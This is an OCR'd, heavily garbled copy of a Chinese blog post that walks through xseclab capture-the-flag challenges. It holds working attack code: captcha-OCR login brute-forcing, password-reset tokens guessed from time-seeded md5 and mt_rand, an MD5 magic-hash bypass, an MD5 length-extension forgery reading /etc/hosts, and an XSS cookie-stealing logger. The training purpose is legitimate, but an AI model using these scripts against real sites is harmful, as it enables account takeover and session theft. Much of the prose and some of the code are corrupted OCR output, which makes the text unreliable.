W 22 2 SE ECTFZ: S i H

perye F 2018-03-03 09:26:12 KA 13011 W 19
HRERE: A XERE: dtfNEZE

FRAL A B . AN R REAISCE, BE CC 4.0 BY-SA SRAUHMY, ##iEM EE B M ARSI,
ACBERE: https//blog.csdnnet/qq 19861715/article/details/79428133

12 X E 0T 1A

WHEERE

1. AR ME—T, Sxit

ht: http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php
BEEFENA:

include('flag.php');
$smile = 1;

if (!isset ($_GET['~_~'])) $smile = ©0;

if (preg_match ('/\./', $_GET['~_""'])) $smile = 0;

if (preg_match ('/%/', $_GET['~_~"])) $smile = 0;

if (preg_match ('/[0-9]/', $_GET['~_"'])) $smile = O;

if (preg_match ('/http/', $_GET['~_~']) ) $smile = O;

if (preg_match ('/https/', $_GET['~_"*']) ) $smile = 0O;
('/ftp/', $_GET['~_~'])) $smile = 0;
('/telnet/', $_GET['~_~'])) $smile = ©;
('/_/', $_SERVER['QUERY_STRING'])) $smile = @;

if (preg_match
if (preg_match
if (preg_match
if ($smile) {
if (@file_exists ($_GET['~_"'])) $smile = 0;

if ($smile) {
$smile = @file_get_contents ($_GET['~_"']);
if ($smile === "(e' 'e)") die($flag);


https://blog.csdn.net/qq_19861715
https://blog.csdn.net/qq_19861715/category_7468521.html
https://so.csdn.net/so/search/s.do?q=ctf&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E7%25BD%2591%25E7%25BB%259C%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_19861715/article/details/79428133
https://blog.csdn.net/qq_19861715/category_7468521.html
http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php

20

ERSHAM=(e's), AQUERY STRINGiZ# 7", BXHAREFTE, BEA LAEBCCHNE, BimXdE T —
Henttp. ftp%E. WPHPEBIEE#. N, HHdatathill, Wi&ESHCH: ? A =data://text/plain;charset=unicode,

(o' '0)

2. AR WAERDIRBIH AT F LK RS2
B http://lab1.xseclab.com/vcode7_7947d56f22133dbc85ddadf28530268/index.php#

R’ZZ AR e m— TIREUSIER, BERREMheader, B3 cookie, ’AZHKISH.
TR RIS RS 7] Pl tesseract, RSN T .


http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/index.php#

#!/usr/bin/python
# -*- coding: utf-8 -*-

import requests #AMurl. cookie¥EfE CHFIEIEMIE
import sys

import time

from pytesseract import *

from PIL import Image

def vcode(pic_url,cookies):

"python3&iER IR 5l ek 2"

r = requests.get(pic_url, cookies=cookies, timeout=10)

with open('vcode.png', 'wb') as pic:
pic.write(r.content)

image=Image.open('vcode.png')

im = image_to_string(image)

#print im

im = im.replace(' ', '")

if im.isdigit() and len(im)==4:
return im

else:
return vcode(pic_url,cookies)

cookies = {'saeut': "'14.19.157.117.1435504248010840"', 'PHPSESSID': '2cec394dbfba709823daeadba7lebo4a'}
payload = {'username': '13388886666', 'mobi_code': '100', 'user_code':'5053"', 'Login': 'submit'}
#theaders = {'user-agent': 'my-app/0.0.1'}

picurl="http://labl.xseclab.com/vcode7_f7947d56122133dbc85dda4f28530268/vcode.php’

url="http://labl.xseclab.com/vcode7_f7947d56f22133dbc85dda4{28530268/1login.php"
#filename = u"D:/Users/flag.txt"

#fp = open(filename, 'a')

for i in range(100,999):
codel=vcode(picurl,cookies)
#time.sleep(0.01)
payload[ 'user_code']=codel
payload[ 'mobi_code']="%d"'%(1i)
wp = requests.post(url, data=payload,cookies=cookies, timeout=10) #params=payload get,headers=
#print(wp.text)
text=wp.content
#text=text[2:1len(text)]
#print 'length:%d'%(len(text))
#fp.write(text.encode('utf-8"))
responsetxt = text.encode('utf-8')
if 'error' not in responsetxt:
print 'The correct code is: ', codel,responsetxt
break
else:
print 'tring code:', i, codel,responsetxt

print("get flag success")



FHRAEH M 1007745 221K, BfSflagfs Bk

AWN =

tring code: 294 0397 user_code or mobi_code error
tring code: 295 1728 user_code or mobi_code error
The correct code is 1728 key is 133dbc85ddadaa**)
get flag success



3. fRERFE1/: http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/

ZABU T EE M P %Y, EAEEEEIAMN.

X EAT A B PAT AR YR, B Ak P chadmin, 263k B cookie, sukey=md5(time()), %
—Tadmink S EEHN, Z/5RMRkeysitikT .

ARG

#!/usr/bin/env python

# -*- coding: gbk -*-

import requests

import hashlib

import time

"PATRI R B R — Fadminf) E B BG4

s = requests.Session()

APITEREFEEA

header = {'Cookie': 'saeut=14.19.157.117.1435504248010840; PHPSESSID=ffb638b41b60e696a2793815bedc32f

while True:
pwd = hashlib.new('md5', str(int(time.time()))).hexdigest()
url

r = s.get(url, headers=header)
time.sleep(1)
text=r.content
responsetxt = text.encode('utf-8')
if text != "'

print url,r.content

break
else:

print 'IEFEBEH...", pwd

O©CoO~NOO O WN -

PATH % — Fadmin) = B #1544

IEFERES. ... aa4797f696c408b8cb6ec7304fc118d0

IEFER R 7257b11dde5b8d6135652a56¢730947d

IEFERE. ... 656fb3b904dfbb161bad82ce7e3496b5

BB fd27309d902c1cc3ee209779ab5d7215

BB, b80bfe65dc163e9b7a13e0bcb6c00349
http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/reset.php?suk
ey=383edc5fe95d7638fae3629b29fb16f0&username=admin key is yestimeispassword

"http://labl.xseclab.com/passwordl_dcl78aal2e73cfcl84676a4100e07dac/reset.php?sukey=" + pw


http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/
http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/reset.php?suk

4, fRERFOM

LREMEN S, base6ARIdHiREE N, BREMELFRNZE/NG, FRERIEMNHREEMRE. BT
Wi SCRe AL A base6A{E, T LUEIE B AR A /NG R, LA TR AL R 5 R B 8T T 4T
BT R, T, BT84 REATEKE R Zhey!lloveU!

#!/usr/bin/python
# -*- coding: utf-8 -*-

import base64
import binascii
b64str="AGV5IULSB3ZLVSE="
f=open('flag.txt','w")
def base64code(s,d):
global b64str
global f
if(d==1len(b64str)):
f.write(binascii.b2a_qgp(base64.b64decode(s))+'\n")
else:
base64code(s+b64str[d],d+1)
if bé4str[d].isalpha():
base64code(s+b64str[d].lower(),d+1)

base64code('',0)

f.close()
f=open('flag.txt','r")
for 1 in f.readlines():
if '=' not in 1:
print(1)

O©CoO~NOOOPWN -



5. fRERETH
B HMHE: http:/lab1.xseclab.com/pentest5 6a204bd89f3c8348afd5c77¢c717a097a/
B H 4 RSN

<?php

$flag=FLAG;

if(isset($_POST["password"])){
$password=$_POST[ 'password'];
$rootadmin="11793422703!";

if($password==$rootadmin){die("Please do not attack admin account!");}

if(md5($password)==md5($rootadmin)){
echo $flag;

}else{
die("Password Error!");

}

O©CoO~NOOOPA,WN -

X AR, RABRphpFAFEBE BRI T B, LB RmdSME, phpiiT 7 FF & LB & ENE S
SHEN AR FEITHER, HH===SREBIERBETILE, X EHRHR.

! 1793422703! HImd5{E ~0e332932043729729062996282883873, # ik NEF 20, R Epasswords
¥ Imd5{E LLOTF Sk B A8 — A N R EN AT A B .

http://www.219.me/posts/2884.html XA A —HE, BEMEE—AMEFZBITA,

INT T| = & SQL- XS5- Encryption- Encoding- Otherr
4= Load URL  httpy//lablxseclab.com/pentest_6a204bdB8%{3cB348afd5c77c717a097a/
% split URL
r Execute
Enable Post data [ | Enable Referrer
Post data password=s87862619%a

__yesyouareclever!


http://lab1.xseclab.com/pentest5_6a204bd89f3c8348afd5c77c717a097a/
http://www.219.me/posts/2884.html

6. MR KB

%R KL HES, SRhttp://www.waitalone.cn/security-hardware-usb. htmlf 5%, T #8328 Hr Ak
4, ik Ahttp://downloads.saleae.comvbetas/1.2.3/Logic+Setup+1.2.3.exe

% 3| — {85 5 Niloveyouxiaoguniang! # it £ B A HAXS, HRcommaNES, i LESRITEI, keyN
iloveyou,xiaoguniang!

7 MR R 5

A HHbbk: http://lab1.xseclab.com/password2_454a7a7cb7213e14695c022cfb04141c/index.php
XREICRBERZENTEE, WA, DEYEMEKEHRENR . FEXENREHMKLR . 10000
0x2710, Hjx NOxFFFFD8EF.

Offset 0 1 2 3 4 5 6 7 8 910 11 12 13 14 15

)0000000 [BA 3E BA A4 AA 88 0A 0B CD BA 1F DB 49 10 78 1z| [»°=2" 1§ 01 x
)0000016 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 %AEEUID'LL%& ZBH
)0000032 00 00 00 00 00 00 00 00 0O 00 00 00 00 00 00 00 TEREHR. A2y

0
10000048 FF FF FF FF FF FF FF 07 80 6% FF FF FF FF FF FF y%%?f%? SiVYYVYY
10000064 EI 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2?lﬂ+ﬂ$'ﬁ%ﬂ§££l 10
0000080 fo 27|00 oo [er pe rr Fr| 0 27] 00 00 00 oo oo BZ] E'Eﬂg%gg 3774
| I |ﬂ | FTH @ﬁxmmwi

10000096 00 00 00 00 00 00 0O 00 00 00 00 00 00 00 00 00
10000112 FF FF FF FF FF FF FF 07 80 69 FF FF FF FF FF FF %5%%;53%%f¥5¥§}y
10000128 00 00 00 00 00 00 00 00 Q0 00 00 00 00 00 00 00
10000144 00 00 00 00 0O 00 OO 0O QO OO 0O 00 0O 0O 00 00
10000160 00 00 00 00 00 00 00 00 Q0 00 00 00 00 00 00 00

HEBHARDIN20078, 2000090x4e20, B NOXFFFFB1DF, B 6/TAESRIE. HE—17 AuidBER, |l
AfrAuid, BSOS, —BRCRCIEHTLRKRK BT HREK, UEEHTR. BE TR FHEBN
00, $RAZKAEMIY.

A LA TRIMERE, THET#.: http://s1.boby.im/other/XOR&KEY .exe, 1+HAABASEAARIRLHE ABA,
HB8NBA (I RTAN TR REAIFRIBA) .

Offset o 1 2 3 4 3 & 7 g 9 10 11 12 13 14 15

00000000 |aR 3E BA A4 BA |00 0& OB D 8& 1F DB 49 10 78 12 | 2»°=§ i 01 =
00000016 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00000032 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00000048 FF FF FF FF FF FF FF 07 80 69 FF FF FF FF FF FF  VyVV¥vy €1VVVyvy
00000064 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00000080 |20 4E 00 00 DF Bl FF FF 20 4E 00 00 00 00 00 6E| N BRiyy N n
000000SE 00 00 00 00 00 00 00 00 OO0 00 00 00 00 0O 00 00

00000112 FF FF FF FF FF FF FF 07 80 69 FF FF FF FF FF FF  Vy¥VV¥vy €1yVVyvy

P LT R Y R T T T T T N T s e s T T R NS

8+ z/T = 9%%6@
A HHbbE: http://lab1.xseclab.com/pentest6_210deacdf09c9fe184d16c8f7288164f/index.php
ZE HR8HA24A A FK, FEENFN, FEHTHIEALLT:


http://www.waitalone.cn/security-hardware-usb.html
http://downloads.saleae.com/betas/1.2.3/Logic+Setup+1.2.3.exe
http://lab1.xseclab.com/password2_454a7a7cb7213e14695c022cfb04141c/index.php
http://s1.boby.im/other/XOR&KEY.exe
http://lab1.xseclab.com/pentest6_210deacdf09c9fe184d16c8f7288164f/index.php

<?php
session_start();
include '_flag.php';
date_default_timezone_set('Asia/Shanghai');
if(isset($_POST['token']) && isset($_SESSION['token']) &&!empty($_POST['token'])&&!empty($_SESSION['
if($_POST[ 'token']==%_SESSION[ 'token']){
echo "PassResetSuccess! Your Flag is:".$flag;
}else{
echo "Token_error!";
}
Yelse{
mt_srand(time());
$rand= mt_rand();
$_SESSIONJ 'token']=shal(md5($rand));

if(sendmymail ($_SESSION[ 'token'])){
echo "SendOK! \r\n<br> Your password reset Token has been send to your mailbox! <br>Please C
¥
}
echo '<form action="" method="POST">
<input type="text" name="token">
<input type="submit" value="submit">
</form>";
echo "<!--\r\n".file_get_contents(__FILE_ );
?>

O©COoO~NOO O WN -

= E LB B R E N postSH 5 BENLAE I S HFdE1ThashiH B S 45 R ELEL. LRI K5 2
mt_srand(time()); # B ESHOREE, mt_rand()iX BAE R BEHLECR B 2 /K, B AT 3ET 185

T RPHPRE, #FPHPHrequestst®iih T (S%http://segmentfault.conv/a/1190000002867007) F
BEBELE—NEF, Wivartmp/T

9 BARIE I T


http://segmentfault.com/a/1190000002867007

<?php
require_once '/var/tmp/Requests/library/Requests.php’;
Requests::register_autoloader();
date_default_timezone_set('Asia/Shanghai');
echo time()."start\r\n";
$data = array('token' => '@', 'submit' => 'submit');
$headers=array('Cookie' =>"your cocokie value");
$response = Requests::post('http://labl.xseclab.com/pentest6_210deacdf09c9fel184d16c8f7288164f/resetp
$timel=time();
echo $timel."end\r\n";
echo $response->body;
//echo "time:".time()."\r\n";
//mt_srand(time());
for($i=-20;%$1<20;%$i++)
{

echo $i."row:".time();

mt_srand($timel+10+$i);

$rand= mt_rand();

echo $rand."\r\n";

$token=shal(md5($rand));

$data = array('token' => $token, ‘submit' => 'submit');
$headers=array('Cookie' =>"your cookie value");
$response = Requests::post('http://labl.xseclab.com/pentest6_210deacdf09c9fel84d16c8f7288164f/resetp
if(strpos($response->body, "Token_error!")!=FALSE)
{

echo $response->body;

break;



JURTEFMBAR BT 5 B 45 2R «
PassResetSuccess! Your Flag is:NotSecurityRandomNowYouKnown

9. MR KEIM:

AL H Hbht: http://lab1.xseclab.com/decrypt1 53a52adb49c55c8daa5c8ee0ff59befe/md5 le.php
BIREARD, RILNEE 5 R AMA5(mysalt.message), H I N6HL, XT#4E/etc/hostsiing 515 2|
311a96c¢cefc6bb3fea17839489de5190b

B B A #~MD5 Length Extension Attack!

#ZMD5 Length Extension Attack#k Zllplaidctf-2014-twenty _mtpox 1& /R .

T#HITA:

git clone https://github.com/iagox86/hash_extender
cd hash_extender

make
1
2
3
AT
./hash_extender -f md5 -1 6 -d '/etc/hosts' -s '311a96cefc6bb3feal7839489de5190b' -a '' --out-data-f
Type: md5
Secret length: 6
New signature: 08972a6d7297d58896f718f4c7236a95
New string: %2fetc%2fhosts’%80%00%007%007%007%00%007%00%007%007%00%007%00%007%00%007%00%00%007%007%007%00%007%00%0
1
2
3
4
5
EANSH
http://labl.xseclab.com/decryptl_53a52adb49c55c8daa5c8eedff59befe/md5_le.php?filepath=%2fetc%2fhosts
1
BRI AT 15 Elkey

Flag is: Md5LenghtExtAttackNowYouSee


http://lab1.xseclab.com/decrypt1_53a52adb49c55c8daa5c8ee0ff59befe/md5_le.php

10, ZREREIH

A8 H Hbht: http://lab1.xseclab.com/xss4_730ee2b59ca3b71c25efa2147498b35e/index.php

BERR: REe/NR#ENTEERERFE, R T %,

EHEBANRR: WA xss, EHZHAKFYERHE, EidurlfsidBiE.

RABWATE, index.phpFEAN, post.phpiRiZHEW. MRLIHE LB R, posti <Xt H shi#iT
htmli ¥, 0B 8 RurlFBREAT R, AT TXxssiES

WIEEE G, REPEFSBEHEAMMETEZ, BTHREMRR, WHEANZLSENFZ. XERENRF
& A7 % B refererB) 7] . 2%ikxss3kBtreferer, KB .

R TADEE, BEFET, BERRAF—BARET, 2HEE. BEEERERE, BMERELTE, WiE—
ANE Furl, BT CARECH 77 IPF VT ] BB AR Hihl . B REERIRR T — R4

http:/t.cn/RyPhtE2. 7T B A — AN B f, FI3RERurlfidbsk, REMZLMEAIE DB, RAHRATF, W
T

TS WHBEEEX TR ipi MR ERAFERER
ERAFRXSSTFE, HIFIH UXSSTF & EARHRIITIRE!

55 PR 77 4k«

1R AT 6 A B B R R A RN B ZEER T 9 ) BB 1 1E S0

2. Vi Vi iz B A B B R TUTE B S B  TRIR BT B AR B
3. BT EEAERNEKE B AN AT

NOoO O~ OWN -

BRIZRG, ER—ANEA, BEA KBl E S Eindex.phph B A8 urlkt, RAEZRLESAICTE S
s Ziiﬂ*%iﬁ%
U ) ) Ba A

SAE/fetchurl-x2wowz30kl Mozilla/6.0 (Macintosh; Intel Mac OS X 10_10 9) AppleWebKit/538.38 (KHTML, 1

1

Hihk>4220.181.136.229, T HbhE

N: http://lab1.xseclab.com/xss4_730ee2b59ca3b71c25efa2147498b35e/mymailbox 25777445a35a9588.php’
sid=94b66e€964217cceab72525a3a3125124

U I 1% 0 T B AT 3R 5 key .

JaRIEFIRZFEE (sinaapp) BT ANul kTR s ek, HE3RErefererBp ],

R FERIANTE, KBip. refererS g A8 E, RIGIMT:

4 | T b



http://lab1.xseclab.com/xss4_730ee2b59ca3b71c25efa2147498b35e/index.php
http://t.cn/RyPhtE2
http://lab1.xseclab.com/xss4_730ee2b59ca3b71c25efa2147498b35e/mymailbox_25777445a35a9588.php?sid=94b66e964217ccea672525a3a3125124

<?php

$mysql = new SaeMysql();

$cookie = $_GET['c'];

$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');

$sql="insert into xsstest values (1,'".$ip."','".$time.""',"'".$referer.""',"" . $cookie."")";

echo $sql."<br>";
$mysql->runsSql($sql);

if ($mysql->errno() != 0)
{

die("Error:" . $mysql->errmsg());
}

$mysql->closeDb();

?>

O©CoOoO~NOOOPr,WN -

R RPN ZTE U i, REEHEES THAILRE, —F2EEHFEUH, —%2%ipost.php
W 25 e . 8 HF &5 KrefererBl ABEAE AL, 15 8% ht 3R] PLo

BEEEAESR, RExssihfFreferertbbbBI AT, HAFHFIXsSTEN . BIRREW, ZENEE, MEAEKR
i, ASEHEFHRT TEE.
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